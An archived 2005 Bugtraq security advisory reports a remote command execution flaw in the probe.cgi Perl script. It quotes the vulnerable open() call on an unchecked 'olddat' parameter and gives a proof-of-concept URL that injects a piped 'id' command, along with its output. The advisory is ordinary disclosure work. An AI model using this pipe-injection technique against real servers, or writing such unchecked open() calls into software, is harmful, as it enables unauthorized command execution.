bugtraq - [badroot security] probe.cgi: Remote Command Execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <42CB0712.9020002@mybox.it>
Date: Tue, 05 Jul 2005 22:17:54 +0000
From: mozako <mozako@...ox.it>
To: bugtraq@...urityfocus.com
Subject: [badroot security] probe.cgi: Remote Command Execution


___________________________________________________________

BADROOT SECURITY GROUP
Security Advisory 2005 - #0x06
http://www.badroot.org
irc.us.azzurra.org ~ #badroot
___________________________________________________________

Authors .......  spher3 (spher3 at fatalimpulse dot net) Date 
..........  04-07-2005
Product .......  probe.cgi
Type ..........  Remote Command Execution

o Info:
================
That script is used to open file '.dat'.

o Vulnerable Code:
================
..
23  [...]
24  $old = $query->param('olddat');
25  [...]
..
..
34  [...]
35  open (VF, "$olddat");
36  [...]
..

(24) At this line, the cgi param 'olddat' is associated to one database.
    This variable isn't checked by anyone matching, so you can open
    all file that you want. (35) At this line the script open the file 
that you had chosen. With pipe `|`
    is possible to execute arbitrary code on the shell.

o Proof of concept:
================

http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)

Original ADV: http://www.badroot.org/advisories/SA0x06